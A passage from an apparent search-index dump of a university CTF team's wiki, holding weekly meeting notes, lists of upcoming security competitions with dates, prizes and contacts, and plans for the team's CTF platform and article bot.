\uff083\uff09\u5176\u4ed6\u6587\u6863\uff1a\u4ee5\u53ca\u9664\u4e0a\u8ff0\u89c4\u5b9a\u6587\u6863\u4ee5\u5916\u7684\u5176\u4ed6\u4f5c\u54c1\u76f8\u5173\u8d44\u6599\u7b49\uff1b
\u56db\u3001\u6210\u7ee9\u8ba1\u7b97
\u7ec4\u59d4\u4f1a\u5c06\u7ec4\u7ec7\u8bc4\u5ba1\u4e13\u5bb6\u56e2\u5bf9\u5165\u56f4\u521d\u8d5b\u4f5c\u54c1\u8fdb\u884c\u8bc4\u5ba1\uff0c\u5c06\u6839\u636e\u53c2\u8d5b\u4f5c\u54c1\u7684\u539f\u521b\u6027\u3001\u521b\u65b0\u6027\u3001\u529f\u80fd\u6027\u3001\u5b9e\u7528\u6027\u3001\u4f5c\u54c1\u5b8c\u6574\u6027\u7b49\u591a\u4e2a\u65b9\u9762\u8fdb\u884c\u6253\u5206\u8bc4\u5ba1\u3002\u521d\u8d5b\u5c06\u91c7\u7528100\u5206\u5236\uff0c\u5f97\u5206\u5728\u524d50%\u7684\u4f5c\u54c1\u5c06\u5165\u56f4\u51b3\u8d5b\u3002
\u5e8f\u53f7 \u7c7b\u522b \u8bc4\u5ba1\u6807\u51c6 \u5206\u503c 1 \u4f5c\u54c1\u9009\u9898\u53ca\u6587\u6863\u89c4\u8303\u6027 \u5efa\u8bae\u4ece\u4f5c\u54c1\u9009\u9898\u53ca\u610f\u4e49\u3001\u6587\u6863\u7ed3\u6784\u3001\u8bed\u8a00\u8868\u8fbe\u53ca\u903b\u8f91\u7ed3\u6784\u3001\u4f5c\u54c1\u7279\u8272\u5448\u73b0\u3001\u6d4b\u8bd5\u53ca\u5bf9\u6bd4\u6548\u679c\u7b49\u65b9\u9762\u8fdb\u884c\u8bc4\u5ba1 15 2 \u4f5c\u54c1\u7684\u529f\u80fd\u6548\u679c \u5efa\u8bae\u4ece\u4f5c\u54c1\u7684\u9700\u6c42\u5206\u6790\u3001\u529f\u80fd\u5b9e\u73b0\u3001\u7cfb\u7edf\u5b8c\u6574\u6027\u7b49\u65b9\u9762\u8fdb\u884c\u8bc4\u5ba1 30 3 \u4f5c\u54c1\u7684\u6280\u672f\u5b9e\u73b0 \u5efa\u8bae\u4ece\u4f5c\u54c1\u5b9e\u73b0\u6d41\u7a0b\u53ca\u6846\u67b6\u5408\u7406\u6027\u3001\u65b9\u6848\u53ef\u884c\u6027\u7b49\u65b9\u9762\u8fdb\u884c\u8bc4\u5ba1 30 4 \u4f5c\u54c1\u7684\u521b\u65b0\u6027\u548c\u5b9e\u7528\u6027 \u5efa\u8bae\u4ece\u529f\u80fd\u5b8c\u6210\u5ea6\u3001\u5e02\u573a\u5e94\u7528\u524d\u666f\u3001\u6838\u5fc3\u6280\u672f\u7684\u6027\u80fd\u6307\u6807\u3001\u7ade\u54c1\u5206\u6790\u7b49\u65b9\u9762\u8fdb\u884c\u8bc4\u5ba1 25 \u603b \u5206 100\u8fdb\u5165\u51b3\u8d5b\u7684\u4f5c\u54c1\u5c06\u9700\u8981\u8fdb\u884c\u73b0\u573a\u7b54\u8fa9\u548c\u4ea7\u54c1\u6f14\u793a\u3002\u8bc4\u5ba1\u4e13\u5bb6\u5c06\u4f9d\u636e\u4f5c\u54c1\u7684\u539f\u521b\u6027\u4e0e\u521b\u65b0\u6027\u3001\u4f5c\u54c1\u5b8c\u6210\u7a0b\u5ea6\u3001\u4f5c\u54c1\u7684\u6027\u80fd\u3001\u4f5c\u54c1\u7684\u5e94\u7528\u4ef7\u503c\u3001\u76f8\u5173\u6587\u6863\u7684\u89c4\u8303\u6027\u3001\u4ea7\u54c1\u6f14\u793a\u3001\u7b54\u8fa9\u8bc4\u5206\u7b49\u65b9\u9762\u8fdb\u884c\u7efc\u5408\u8bc4\u5224\u5f97\u51fa\u3002
\u4e94\u3001\u5956\u9879\u8bf4\u660e
1\u3001\u672c\u5c4a\u7ade\u8d5b\u8bbe\u4e00\u7b49\u5956\u3001\u4e8c\u7b49\u5956\u548c\u4e09\u7b49\u5956\u3002
\u4e00\u7b49\u5956\uff1a1-5\u540d\uff08\u7b2c1\u540d20000\u5143\u3001\u7b2c2-5\u540d10000\u5143\uff09\uff0c\u5956\u676f\u3001\u83b7\u5956\u8bc1\u4e66\u7b49\u5956\u52b1\uff1b
\u4e8c\u7b49\u5956\uff1a6-15\u540d\uff0c\u83b7\u5956\u8bc1\u4e66\uff1b
\u4e09\u7b49\u5956\uff1a16-30\u540d\uff0c\u83b7\u5956\u8bc1\u4e66\uff1b
2\u3001\u4f18\u79c0\u6307\u5bfc\u8001\u5e0810\u540d\uff1a5000\u5143\u5956\u91d1\u3001\u5956\u676f\u3001\u83b7\u5956\u8bc1\u4e66
\u516d\u3001\u6307\u5bfc\u6559\u5e08
1\u3001\u9ad8\u6821\u6307\u5bfc\u6559\u5e08\u53ef\u4ee5\u6307\u5bfc\u5b66\u751f\u9009\u9898\u548c\u8bbe\u8ba1\u65b9\u6848\u7684\u8bba\u8bc1\uff0c\u4f46\u5177\u4f53\u7684\u786c\u4ef6\u5236\u4f5c\u3001\u8f6f\u4ef6\u7f16\u7a0b\u3001\u7cfb\u7edf\u8c03\u8bd5\u3001\u4f5c\u54c1\u6587\u6863\u64b0\u5199\u5fc5\u987b\u7531\u53c2\u8d5b\u5b66\u751f\u72ec\u7acb\u5b8c\u6210\u3002
2\u3001\u6307\u5bfc\u6559\u5e08\u8d1f\u8d23\u628a\u63e1\u53c2\u8d5b\u4f5c\u54c1\u7684\u539f\u521b\u6027\uff0c\u5e76\u786e\u4fdd\u5176\u4e0d\u4e0e\u56fd\u5bb6\u6cd5\u5f8b\u3001\u6cd5\u89c4\u76f8\u8fdd\u80cc\u3002
3\u3001\u7ec4\u59d4\u4f1a\u5c06\u8bc4\u9009\u4f18\u79c0\u6307\u5bfc\u6559\u5e08\uff0c\u5e76\u4e88\u4ee5\u8868\u5f70\u3002
\u4e03\u3001\u8054\u7edc\u4fe1\u606f
\u79d8\u4e66\u5904\u8054\u7cfb\u7535\u8bdd\uff1a025-58235309\uff1b\u90ae\u7bb1\uff1adf@nuist.edu.cn
\u8054\u7cfb\u4eba\uff1a
\uff081\uff09\u62a5\u540d\u54a8\u8be2\uff1a\u5f20\u7fd4\uff0c13133758775
\uff082\uff09\u6280\u672f\u652f\u6301\uff1a\u5947\u5b89\u4fe195015
\uff083\uff09\u4e13\u5bb6\u7ec4\u652f\u6301\uff1a\u738b\u91d1\u4f1f\uff0c13851994653\uff1b\u718a\u793c\u6cbb\uff0c18761698573
\u79d8\u4e66\u5904\u901a\u4fe1\u5730\u5740\uff1a\u6c5f\u82cf\u7701\u5357\u4eac\u5e02\u5b81\u516d\u8def219\u53f7\u6570\u5b57\u53d6\u8bc1\u6559\u80b2\u90e8\u5de5\u7a0b\u7814\u7a76\u4e2d\u5fc3\uff0c210044
\u5b98\u65b9\u516c\u4f17\u53f7\uff1a
\u5907\u6ce8:\u540e\u7eed\u518d\u5f00\u7fa4\u5c06\u53e6\u884c\u901a\u77e5\u3002
\u516b\u3001\u5176\u5b83
\u672c\u53c2\u8d5b\u4ecb\u7ecd\u7684\u6700\u7ec8\u89e3\u91ca\u6743\u5f52\u7ade\u8d5b\u7ec4\u59d4\u4f1a\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-27/#d3-ctf-2023","title":"D^3 CTF 2023","text":"\u62a5\u540d
\u8682\u8681\u96c6\u56e2\u5b89\u5168\u54cd\u5e94\u4e2d\u5fc3 \u9884\u70ed\u4efb\u52a1AntCTFXD^3CTF
\u4efb\u52a1\u65f6\u95f4\uff1a2023 \u5e74 4 \u6708 8 \u65e5 00:00 - 2023 \u5e74 4 \u6708 23 \u65e5 23:59
\u8bf7\u5728\u5f00\u8d5b\u4e4b\u524d\u524d\u5f80\u3010\u6bd4\u8d5b\u5e73\u53f0\u3011\u6ce8\u518c\u8d26\u53f7\uff0c\u6bcf\u652f\u961f\u4f0d\u5171\u7528\u4e00\u4e2a\u8d26\u53f7\u3002\u8d5b\u9898\u8303\u56f4\uff1aWeb\u3001Pwnable\u3001Reverse\u3001Crypto\u3001Misc\u3001RealWorld\u3002
\u5f00\u653e\u6ce8\u518c\u65f6\u95f4\uff1a2023 \u5e74 4 \u6708 13 \u65e5 09:00 - 2023 \u5e74 4 \u6708 28 \u65e5 20:00
\u6bd4\u8d5b\u65f6\u95f4
2023 \u5e74 4 \u6708 28 \u65e5 20:00 \uff0d 2023 \u5e74 4 \u6708 30 \u65e5 20:00
\u8d5b\u5236\u8bf4\u660e
\u7ebf\u4e0a\u8d5b\u4e3a Jeopardy CTF\uff0c\u9762\u5411\u5168\u7403\u6218\u961f\u5f00\u653e\uff0c\u8bf7\u5728\u5f00\u8d5b\u524d\u524d\u5f80\u6211\u4eec\u7684\u6bd4\u8d5b\u5e73\u53f0\u6ce8\u518c\u8d26\u53f7\u3002\u6211\u4eec\u5c06\u5f00\u542f\u53cd\u4f5c\u5f0a\u4e0e\u52a8\u6001\u79ef\u5206\u7cfb\u7edf\uff0c\u68c0\u6d4b\u5230\u4f5c\u5f0a\u884c\u4e3a\u5c06\u88ab\u81ea\u52a8\u5c01\u7981\uff0c\u9898\u76ee\u5206\u6570\u4f1a\u968f\u7740\u89e3\u51fa\u961f\u4f0d\u6570\u91cf\u7684\u589e\u52a0\u800c\u51cf\u5c11\u3002
\u6bd4\u8d5b\u5956\u52b1
\ud83c\udfc6 \u51a0\u519b\uff1a\u00a550000\ud83e\udd48 \u4e9a\u519b\uff1a\u00a530000\ud83e\udd49 \u5b63\u519b\uff1a\u00a510000\ud83c\udf81 \u7b2c\u56db\u540d\uff1a\u00a55000\ud83c\udf81 \u7b2c\u4e94\u540d\uff1a\u00a55000\ud83c\udf81 \u7b2c\u516d\u540d\uff1a\u00a55000\ud83c\udf81 \u7b2c\u4e03\u540d-\u7b2c\u5341\u4e8c\u540d\uff1a\u00a52000
\u8054\u7cfb\u6211\u4eec
D^3CTF 2023 \u5b98\u65b9 QQ \u7fa4
D^3CTF 2023 \u5b98\u65b9\u9489\u9489\u4ea4\u6d41\u7fa4
Telegram\uff1ahttps://t.me/d3ctf
IRC\uff1a#d3ctf (Freenode)
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/","title":"CTF Week Meeting 2023-05-11","text":"We're gearing up for the upcoming National Competition. We'll also be providing training sessions to sharpen our skills and stay up-to-date with the latest trends in cybersecurity. To make sure that we're all on the same page and fully prepared, I'll be holding individual meetings with each member of the team. Let's work together to take our cybersecurity expertise to new heights!
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#work-progress-tracking","title":"Work progress tracking","text":"During this chapter of the meeting, we will be discussing how we can improve our hacking skills for fun and for the benefit of our team. We'll go through each member's strengths, weaknesses, and areas of interest to better understand how we can collaborate and tackle various challenges more effectively. We'll discuss techniques, tools, and strategies for hacking and explore avenues for earning more opportunities in the field. Whether you're a seasoned hacker or just starting out, this chapter of the meeting will provide you with valuable insights and ideas for enhancing your skills and contributing to the team's success. We will also share tips and resources for staying motivated and engaged in the exciting world of cybersecurity.
I will contact you and arrange time for the meeting.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#0x3-compass-infosec-game-ctf","title":"0x3. COMPASS Infosec Game CTF","text":"Before the June, we are going to hold a university competition, that contains both JeoPardy form challenges, and the offline AwD form final round.
Dear Students,\n\nWe are pleased to announce the COMPASS Infosec Game, a university competition about information security that will be held on [date]. The competition's main objective is to invite CTF players from other universities to participate and showcase their skills in cybersecurity.\n\nAs a student of SUSTech, we invite you to partake in this exciting competition. We are offering special prizes and commendations to the winning teams. It is a great opportunity to not only challenge your information security skills and knowledge, but also to represent your university and make new connections with like-minded individuals from other universities.\n\nTo register, please contact us with your team and member information before [registration deadline]. Once registered, we will provide you with further details about the competition format, timeline, and logistics.\n\nWe look forward to seeing you in action and promoting the growth of information security skills.\n\nBest regards, COMPASS CTF\n
This schedule is under construction.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#0x4-upcoming-events","title":"0x4. Upcoming Events","text":""},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#iscc2023","title":"*ISCC2023\u4e2a\u4eba\u6311\u6218\u8d5b","text":"\u6bd4\u8d5b\u94fe\u63a5\uff1ahttps://www.isclab.org.cn/jsrk/
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u4e2a\u4eba\u8d5b
\u62a5\u540d\u5f00\u59cb\uff1a2023-04-30 08:00
\u62a5\u540d\u622a\u6b62\uff1a2023-05-25 18:00
\u6bd4\u8d5b\u5f00\u59cb\uff1a2023-05-01 08:00
\u6bd4\u8d5b\u7ed3\u675f\uff1a2023-05-25 18:00
\u5176\u4ed6\u8bf4\u660e\uff1a
QQ\u7fa4\uff1a751684975
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#neepu-ctf-2023","title":"\u4e1c\u5317\u7535\u529b\u5927\u5b66NEEPU-CTF 2023 \u516c\u5f00\u8d5b","text":"\u6bd4\u8d5b\u94fe\u63a5\uff1ahttp://www.neepusec.fun:8090/
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u4e2a\u4eba\u8d5b
\u62a5\u540d\u5f00\u59cb\uff1a2023\u5e745\u67081\u65e5
\u62a5\u540d\u622a\u6b62\uff1a2023\u5e745\u670812\u65e5
\u6bd4\u8d5b\u5f00\u59cb\uff1a2023\u5e745\u670819\u65e5 20\uff1a00
\u6bd4\u8d5b\u7ed3\u675f\uff1a2023\u5e745\u670821\u65e5 20\uff1a00
\u5176\u4ed6\u8bf4\u660e\uff1a
\u6559\u52a1\u5904\u901a\u77e5\uff1ahttps://jwc.neepu.edu.cn/info/1014/2513.htm QQ\u7fa4\uff1a700517227
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#_1","title":"\u7b2c\u5341\u516d\u5c4a\u5168\u56fd\u5927\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u7ade\u8d5b\u521d\u8d5b","text":"\u6bd4\u8d5b\u94fe\u63a5\uff1ahttp://www.ciscn.cn/
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u56e2\u961f\u8d5b\uff5c1-4\u4eba
\u62a5\u540d\u5f00\u59cb\uff1a2023\u5e744\u670827\u65e5
\u62a5\u540d\u622a\u6b62\uff1a2023\u5e745\u670825\u65e5
\u6bd4\u8d5b\u5f00\u59cb\uff1a2023\u5e745\u670827\u65e5
\u6bd4\u8d5b\u7ed3\u675f\uff1a2023\u5e745\u670828\u65e5
\u5176\u4ed6\u8bf4\u660e\uff1a
\u5b98\u65b9QQ\u7fa4\u2460\uff1a568747643 \ufeff\u5b98\u65b9QQ\u7fa4\u2461\uff1a779329249 \ufeff\u5b98\u65b9QQ\u7fa4\u2462\uff1a780247795 \ufeff\u5b98\u65b9QQ\u7fa4\u2463\uff1a797605821
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#2023","title":"*2023\u5e74\u798f\u5efa\u7701\u7b2c\u56db\u5c4a\u201c\u95fd\u76fe\u676f\u201d\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u5927\u8d5b\uff08\u9ed1\u76fe\u5168\u56fd\u5927\u5b66\u751f\u8d5b\u9053\uff09","text":"\u6bd4\u8d5b\u94fe\u63a5\uff1ahttp://heidunbei.si.net.cn/hdc/cover
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u56e2\u961f\u8d5b\uff5c1-3\u4eba
\u62a5\u540d\u5f00\u59cb\uff1a2023\u5e745\u670810\u65e5
\u62a5\u540d\u622a\u6b62\uff1a2023\u5e745\u670818\u65e5
\u6bd4\u8d5b\u5f00\u59cb\uff1a2023\u5e745\u670820\u65e5\u7ebf\u4e0a\u9009\u62d4\u8d5b 5\u670821\u65e5\u7ebf\u4e0a\u590d\u8d5b
\u6bd4\u8d5b\u7ed3\u675f\uff1a2023\u5e746\u67082\u65e5\u51b3\u8d5b
\u5176\u4ed6\u8bf4\u660e\uff1a
\u7ade\u8d5b\u5b98\u65b9QQ\u7fa4566180593
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#nssctf-round12","title":"NSSCTF Round#12","text":"\u6bd4\u8d5b\u94fe\u63a5\uff1ahttps://www.nssctf.cn/index
\u6bd4\u8d5b\u7c7b\u578b\uff1aMISC\u4e13\u9879\u4e2a\u4eba\u8d5b
\u62a5\u540d\u5f00\u59cb\uff1a2023\u5e745\u670810\u65e5
\u62a5\u540d\u622a\u6b62\uff1a2023\u5e745\u670820\u65e5
\u6bd4\u8d5b\u5f00\u59cb\uff1a2023\u5e745\u670820\u65e510:00
\u6bd4\u8d5b\u7ed3\u675f\uff1a2023\u5e745\u670820\u65e5
\u5176\u4ed6\u8bf4\u660e\uff1a
QQ\u7fa4\uff1a732339662
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-05-11/#2023litctf","title":"2023LitCTF&\u90d1\u5dde\u8f7b\u5de5\u4e1a\u5927\u5b66\u9996\u5c4a\u65b0\u751f\u8d5b","text":"\u6bd4\u8d5b\u94fe\u63a5\uff1ahttps://www.nssctf.cn/contest
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u56e2\u961f\u8d5b\uff5c1-4\u4eba
\u62a5\u540d\u5f00\u59cb\uff1a\u65e0\u9700\u62a5\u540d
\u62a5\u540d\u622a\u6b62\uff1a\u65e0\u9700\u62a5\u540d
\u6bd4\u8d5b\u5f00\u59cb\uff1a2023\u5e745\u670813\u65e510:00
\u6bd4\u8d5b\u7ed3\u675f\uff1a2023\u5e745\u670814\u65e517:00
\u5176\u4ed6\u8bf4\u660e\uff1a
QQ\u7fa4\uff1a782400974
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-06-29/","title":"CTF Week Meeting 2023-06-29","text":"Congratulations to the COMPASS team for the first-class prize in the National College Computer Security Competition. The final contest would be held in July. We also have 2 teams that participated in the opus competition. The most amazing news is that we are going to have the summer recruitment in the next week. I'm planning an introduction talk as well.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-06-29/#work-progress-tracking","title":"Work progress tracking","text":"Congratulations to COMPASS CTF and its exceptional team members on winning the first-class prize in the semi-final of the National College Computer Security Competition!
Your remarkable achievement in this highly competitive event highlights your exceptional skills, dedication, and knowledge in the field of computer security. Securing the top spot in such a prestigious competition is a testament to your unwavering commitment to excellence and your ability to outperform other talented teams.
Your success in the semi-final is a testament to your exceptional problem-solving abilities, critical thinking skills, and deep understanding of computer security concepts. This victory reflects the passion and diligence you have poured into your work, and it signifies your position as leader in this rapidly evolving field.
May this sensational victory in the semi-final of the National College Computer Security Competition be the first of many remarkable achievements for COMPASS CTF. We are excited to see what the future holds for your talented team. Congratulations once again on this outstanding accomplishment, and best wishes for all your future endeavors!
The official website grade public
The national finals will be announced on July 1. The national finals will be held in late July, and we look forward to better results in the finals.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-06-29/#0x2-schedule-and-the-current-planning-for-the-preliminary-competition","title":"0x2. Schedule and the current planning for the preliminary competition","text":"Congratulations also to our two teams who have entered the preliminary competition and are now in the preliminary judging process. The finalists will be announced on July 26. At present, I have completed the payment and other procedures for the two teams in the competition, and I am waiting for your good news.
preliminary teams list from the official website
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-06-29/#0x3-summer-recruitment","title":"0x3. Summer recruitment","text":"Reference: 2023 summer recruitment and training schedule
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-06-29/#0x4-other-remarkable-information","title":"0x4. Other remarkable information","text":"\u201c\u534e\u4e3a\u676f\u201d\u7b2c\u4e8c\u5c4a\u4e2d\u56fd\u7814\u7a76\u751f\u7f51\u7edc\u5b89\u5168\u521b\u65b0\u5927\u8d5b\u9080\u8bf7\u51fd
https://cpipc.acge.org.cn//cw/detail/2c90800c8093eef401809d33b36f0652/2c90801787f062ab0188719bbb3a7891
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-06-29/#summary","title":"Summary","text":"Congratulations to the COMPASS team for the first-class prize in the National College Computer Security Competition. The final contest would be held in July. We also have 2 teams that participated in the opus competition. The most amazing news is that we are going to have the summer recruitment in the next week. I'm planning an introduction talk as well.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-17/","title":"CTF Week Meeting 2022-02-17","text":"About our mission this semester: self-improvement and advanced skills learning.
A. material learning and reading.
B. challenge/competition solving.
C. vulnerability dig and website/open-source pen-testing.
D. sharing.
It's highly encouraged to share your blog/wirteups with us. Talking with each other in the group is also a good method to get improved.
Don't be shy.
Don't be afraid to talk with \"dalao\". In fact, all of us are grown from newbies. And in fact, none of us is satisfied with our current knowledge.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-17/#collection","title":"Collection","text":"I've encountered some difficulties these days. It's hard to find new contents to learn about. I need your help.
The goal of having more collections about the wiki/forum/blog is to fully access the CTF and hacking. We are going to design a book about CTF.
The contributions would help us:
A. design this book.
B. handle a daily sharing bot/wechat channel.
Everything you find may help above can send to me.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-17/#competition","title":"Competition","text":"TQLCTF\u9ad8\u6821\u8d5b
https://datacon.qianxin.com/competitions/21/introduction
TQLCTF\u9ad8\u6821\u6311\u6218\u8d5b\u7531\u6e05\u534e\u5927\u5b66\uff08\u7f51\u7edc\u7814\u7a76\u9662\uff09\u5947\u5b89\u4fe1\u96c6\u56e2\u7f51\u7edc\u5b89\u5168\u8054\u5408\u7814\u7a76\u4e2d\u5fc3\u4e3b\u529e\uff0c\u7531\u6e05\u534e\u5927\u5b66Redbud\u6218\u961f\u53ca\u5947\u5b89\u4fe1\u6280\u672f\u7814\u7a76\u9662\u8054\u5408\u547d\u9898\uff0c\u672c\u6b21\u7ade\u8d5b\u65e8\u5728\u63d0\u9ad8\u9ad8\u6821\u5728\u6821\u751f\u7f51\u7edc\u5b89\u5168\u6280\u80fd\uff0c\u4e3a\u7f51\u7edc\u5b89\u5168\u9009\u62d4\u4f18\u79c0\u4eba\u624d\u3002\u5168\u56fd\u9ad8\u6821\u5728\u6821\u751f\u5747\u53ef\u62a5\u540d\u53c2\u52a0\u6bcf\u961f\u62a5\u540d\u4eba\u6570\u4e0d\u5f97\u8d85\u8fc710\u4eba\u3002 \u6b64\u6b21\u7ade\u8d5b\u51a0\u4e9a\u5b63\u519b\u961f\u4f0d\u5c06\u76f4\u63a5\u664b\u7ea7TQLCTF\u4eac\u6d25\u5180\u7ebf\u4e0b\u6311\u6218\u8d5b\uff0c\u4f53\u9a8c\u5168\u65b0AWD\u7ade\u8d5b\u6a21\u5f0f\u4ee5\u53ca\u6c89\u6d78\u5f0fCTF\u7ade\u8d5b\u89c6\u89c9\u76db\u5bb4\uff01
\u65f6\u95f4\uff1a2022-02-19 09:00-2022-02-20 21:00
\u4e3b\u529e\u65b9\uff1a\u6e05\u534e\u5927\u5b66(\u7f51\u7edc\u7814\u7a76\u9662)\uff0c\u5947\u5b89\u4fe1\u96c6\u56e2\u5b89\u5168\u8054\u5408\u7814\u7a76\u4e2d\u5fc3
VU CYBERTHON 2022
https://2022.cyberthon.lt/event_starts
Participants will get access to the cyber security tournament system and they will have 24 hours to solve CTF challenges.
\u661f\u671f\u4e94, 18 \u4e8c\u6708 2022, 01:00 CST \u2014 \u661f\u671f\u516d, 19 \u4e8c\u6708 2022, 01:00 CST
Event organizers
https://xsrc.its.sustech.edu.cn/
Not working properly now. Having asked the developers from ITS. They have given instructive advice:
Use email then.
itsserver#sustech.edu.cn
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#wikiblog-collection","title":"Wiki/Blog Collection","text":"https://github.com/tanjiti/sec_profile
A repo about security profile.
Gonna use information from this list first. All the blog and personal websites would be added soon.
Project: TG Sec Bot
The project information and the initial proposal would be posted on GitHub and invite you (if interested).
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#improvement","title":"Improvement","text":"Working on the security analysis and CVE post. Found several vulnerabilities from ThinkPHP and its plugins.
sqlmap analysis shows it's not vulnerable. Doing some SCA recently.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#communication","title":"Communication","text":"I have emailed several top teams and waiting for their response.
The experience from top teams is really important. Besides, not only for CTF, but also for security developers and engineers.
Rank 78
As an exercise competition got in the top 100.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#tql-ctf-2022","title":"TQL CTF 2022","text":"Rank 37
Doesn't have enough participants. Maybe better.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#first-offline-activity","title":"First Offline Activity","text":"Our first offline competition activity would be held this Saturday.
According to the recently COVID-19, shall the offline activity move to online?
The sharing would be given by myself this week. I'd like to talk about the Rust programming language.
If you want to share anything else, it's highly recommended to give a talk this weekend.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#competitions","title":"Competitions","text":""},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#codegate-ctf-2022-preliminary","title":"Codegate CTF 2022 Preliminary","text":"\u661f\u671f\u516d, 26 \u4e8c\u6708 2022, 18:00 CST \u2014 \u661f\u671f\u65e5, 27 \u4e8c\u6708 2022, 18:00 CST
http://www.codegate.org/
We are going to participate in the General
team. The top 9 teams from the General group would be allowed to the final competition.
The maximum team size is 4 members
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#ugra-ctf-quals-2022-optional","title":"Ugra CTF Quals 2022 (Optional)","text":"\u661f\u671f\u516d, 26 \u4e8c\u6708 2022, 15:00 CST \u2014 \u661f\u671f\u4e8c, 01 \u4e09\u6708 2022, 15:00 CST
https://2022.ugractf.ru/
The event would be in Russia. Maybe we need to use some translation tools.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#susctf-2022-optional","title":"SUSCTF 2022 (Optional)","text":"\u661f\u671f\u516d, 26 \u4e8c\u6708 2022, 09:00 CST \u2014 \u661f\u671f\u4e00, 28 \u4e8c\u6708 2022, 09:00 CST
https://susctf2022.xctf.org.cn/
By SUSr. The name is very likely SUSTC. So, maybe you are interested.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-02-24/#note","title":"Note","text":"A. \u670d\u52a1\u5668\u73af\u5883\u81ea\u52a8\u542f\u52a8
B. SaaS\u7528\u6237\u542f\u52a8\u65b9\u6848
We have achieved rank 29.
The rank is in the top tier 2 list. The top 20 teams are very famous organizers
, r3kpig
, DiceGang
, Oops
, and perfect blue
. Our rank is along with Super Guesser
. In the meanwhile, we have won Redbud
for continuous 3 times.
Still, we have some areas to improve. First of all, all of our scores are from the Web category. PWN is still an area we should improve.
The Rev and Crypto of the codegate are very difficult.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-03/#ctfshow","title":"CTFshow","text":"Congratulations to Frankss!
Looking forward to your next rank 1 in CTF!
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-03/#ctf-platform","title":"CTF Platform","text":"In the past very long time, we use CTFd online collocation system to deploy our platform. The CTFd online service is limited now.
The black box of CTFd doesn't offer us direct interaction with the source code and the plugins. In order to make further improvements, we are going to switch back to the local VPS deployment.
We have 2 plans:
A. use my personal VPS server. The VPS is in Hong Kong with 8 CPU cores and 16 GB of memory. The access of VPS is open to the public network. In order to deploy in my VPS, we need to assign an SSL certification and allocate a domain name service to the docker image.
B. use COMPASS server. The COMPASS server is very high performance. To use the COMPASS's Detroit server, we can directly use the compass.sustech.edu.cn
domain name. But the access is limited to the campus. If we want to let users outside the SUSTech access, we need to deploy a jump service.
We need to assign the maintenance of the CTF platform to our members. If you are interested, please let me know. The work of the maintenance involves:
The Wiki page is critical for our public information. We have updated our Wiki page several times.
https://wiki.compass.college/member/
On the members' page, we have all of our members' cards. Currently, all the members' information is using our Wechat profile and the area is set to ALL
.
Obviously, we need to update this page. Please send me your area.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-03/#competition","title":"Competition","text":"https://mp.weixin.qq.com/s?__biz=Mzg5NTc0ODE4Ng==&mid=2247483653&idx=1&sn=8f2f74843dd5eff531be187823d9fc90&chksm=c00ad030f77d5926157929aee64fab31ead3b2b727777633a567a1dc5a579dd3f8a61d603435&mpshare=1&scene=23&srcid=0302kUF13DdLm2lLcV7DCIqL&sharer_sharetime=1646213771898&sharer_shareid=612cf76d62ce2a19afbb97fe3bdd60a8#rd
https://www.qianxin.com/DCICHF/2022
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-03/#note","title":"Note","text":"You may notice the awards we've got have been pushed to the wiki.
We have participated in the eCTF for practice last week.
Challenge solving process:
The challenges quality is on average.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#project-review","title":"Project Review","text":"I've started too many projects in the recent meetings...
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#daily-article-bot","title":"Daily Article Bot","text":"The project aims to publish news, blogs, and writeups from personal websites. Going to follow the steps:
I have created the Rust project for the Telegram bot using the following template:
https://github.com/telegram-rs/telegram-bot
The function would be done soon.
If you are interested in the Mail subscribe service's development, please let me know.
"},{"location":"Meeting/2022%20First%20Half/CTF%20Week%20Meeting%202022-03-10/#platform","title":"Platform","text":"Thanks to the very brief description of the installing instruction, deploying ctfd-whale is hard.
I'll find it out these days.
